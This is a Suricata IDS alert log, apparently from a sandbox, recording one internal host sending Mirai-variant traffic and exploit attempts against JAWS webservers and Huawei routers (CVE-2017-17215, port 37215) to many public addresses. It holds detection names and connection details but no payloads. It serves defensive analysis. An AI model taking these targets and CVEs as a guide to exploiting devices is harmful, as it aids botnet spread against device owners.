Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:36182 -> 131.92.77.249:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:46928 -> 43.81.231.176:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38642 -> 41.171.143.145:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49258 -> 156.126.78.211:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40180 -> 41.8.30.91:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43414 -> 156.29.56.92:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:56372 -> 85.66.186.124:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:46928 -> 43.81.231.176:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:56372 -> 85.66.186.124:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:49444 -> 110.68.47.188:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:48844 -> 78.20.11.62:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:48844 -> 78.20.11.62:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:59486 -> 138.242.91.81:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42106 -> 41.156.164.19:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:59486 -> 138.242.91.81:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57958 -> 41.172.224.67:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37602 -> 41.108.41.195:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:41496 -> 19.126.39.244:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:41496 -> 19.126.39.244:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:46554 -> 63.43.10.28:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43716 -> 41.19.166.133:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:46554 -> 63.43.10.28:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34814 -> 156.27.80.89:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34848 -> 41.7.178.161:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55202 -> 41.6.193.156:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38130 -> 41.1.36.164:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58694 -> 156.88.155.128:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:50166 -> 92.185.151.122:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:50166 -> 92.185.151.122:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:40610 -> 209.164.155.93:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43950 -> 197.60.138.82:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:40610 -> 209.164.155.93:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52292 -> 41.77.204.216:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:45310 -> 197.26.207.114:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:45310 -> 197.26.207.114:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:54926 -> 36.247.60.108:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:54926 -> 36.247.60.108:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49276 -> 197.79.21.61:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:33470 -> 65.210.246.241:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:52840 -> 192.5.111.66:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:52840 -> 192.5.111.66:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38844 -> 156.233.61.170:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:39168 -> 69.206.208.139:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:39168 -> 69.206.208.139:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59282 -> 41.198.247.116:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42272 -> 197.235.231.188:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52292 -> 41.16.186.169:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49196 -> 197.247.78.82:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53268 -> 41.225.42.247:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:54802 -> 99.164.207.221:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:54802 -> 99.164.207.221:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34132 -> 197.175.220.124:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:49448 -> 178.237.118.100:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:49448 -> 178.237.118.100:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:44664 -> 202.226.133.66:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:44664 -> 202.226.133.66:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57628 -> 156.213.81.209:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:46954 -> 120.114.84.38:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:46954 -> 120.114.84.38:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:42704 -> 57.119.84.72:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:58776 -> 51.175.132.128:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:42704 -> 57.119.84.72:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:58776 -> 51.175.132.128:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36132 -> 156.141.115.233:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42680 -> 156.83.20.178:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44544 -> 156.58.186.145:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:39778 -> 83.126.174.186:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:39778 -> 83.126.174.186:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:48512 -> 125.109.219.8:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:48512 -> 125.109.219.8:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35698 -> 197.96.31.0:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34378 -> 41.254.38.116:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:38300 -> 180.183.87.174:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50372 -> 156.218.187.106:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:38300 -> 180.183.87.174:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41770 -> 156.251.135.219:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45300 -> 41.242.75.188:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47498 -> 197.113.242.34:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41384 -> 41.145.125.29:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43322 -> 156.40.240.210:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43762 -> 41.200.188.11:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:51962 -> 59.179.62.232:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:51962 -> 59.179.62.232:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:40224 -> 139.140.9.190:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:40224 -> 139.140.9.190:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:46554 -> 130.175.77.211:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:46554 -> 130.175.77.211:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:35768 -> 203.215.253.118:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:40168 -> 204.141.229.132:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:35768 -> 203.215.253.118:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:37598 -> 126.164.100.191:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:40168 -> 204.141.229.132:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:37598 -> 126.164.100.191:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:58930 -> 36.182.43.185:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:58930 -> 36.182.43.185:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:38388 -> 198.249.217.20:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:38388 -> 198.249.217.20:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:60350 -> 187.77.75.60:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:60350 -> 187.77.75.60:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35014 -> 41.126.221.108:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:35974 -> 219.70.242.147:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:35974 -> 219.70.242.147:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:54770 -> 181.50.53.2:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:54770 -> 181.50.53.2:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:41458 -> 163.142.15.188:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:41458 -> 163.142.15.188:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44840 -> 156.255.139.215:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41862 -> 197.47.93.30:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40204 -> 197.87.222.2:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:60040 -> 113.43.149.121:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:60040 -> 113.43.149.121:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:33922 -> 151.142.20.255:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:33922 -> 151.142.20.255:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:54196 -> 71.104.122.79:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:54196 -> 71.104.122.79:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48336 -> 156.225.151.83:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37894 -> 41.24.113.224:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37328 -> 197.97.57.117:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:54474 -> 38.94.34.240:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:54474 -> 38.94.34.240:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:43380 -> 120.217.143.184:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:43380 -> 120.217.143.184:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53588 -> 197.158.150.50:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:60436 -> 123.54.183.241:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:60436 -> 123.54.183.241:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:57326 -> 112.186.58.119:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:57326 -> 112.186.58.119:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35842 -> 156.174.170.104:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:57154 -> 159.234.213.235:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:57154 -> 159.234.213.235:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:49742 -> 109.146.34.96:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:49742 -> 109.146.34.96:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:39910 -> 4.31.183.181:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:39910 -> 4.31.183.181:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:47202 -> 143.71.140.71:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:47202 -> 143.71.140.71:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:34994 -> 135.40.7.85:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:40502 -> 98.203.60.63:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:59960 -> 148.177.12.116:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:34994 -> 135.40.7.85:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:59960 -> 148.177.12.116:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:55290 -> 9.9.137.157:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:48472 -> 213.11.144.146:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:40502 -> 98.203.60.63:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:54048 -> 129.167.223.16:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:54048 -> 129.167.223.16:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:55290 -> 9.9.137.157:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:48472 -> 213.11.144.146:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:42598 -> 70.145.8.67:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:42598 -> 70.145.8.67:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:44430 -> 78.155.255.230:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:44430 -> 78.155.255.230:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:49946 -> 204.248.109.44:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:49946 -> 204.248.109.44:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59282 -> 156.245.190.4:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:39518 -> 133.206.206.122:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:39518 -> 133.206.206.122:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42706 -> 197.37.180.192:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33738 -> 41.136.40.189:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53648 -> 156.179.44.151:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36638 -> 156.241.244.77:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57584 -> 156.117.234.170:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33134 -> 197.114.161.87:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56704 -> 156.135.244.57:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38934 -> 41.245.158.70:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40456 -> 156.62.255.186:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33778 -> 156.245.141.198:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56658 -> 156.156.184.103:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58980 -> 197.78.8.202:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53800 -> 197.159.178.158:37215
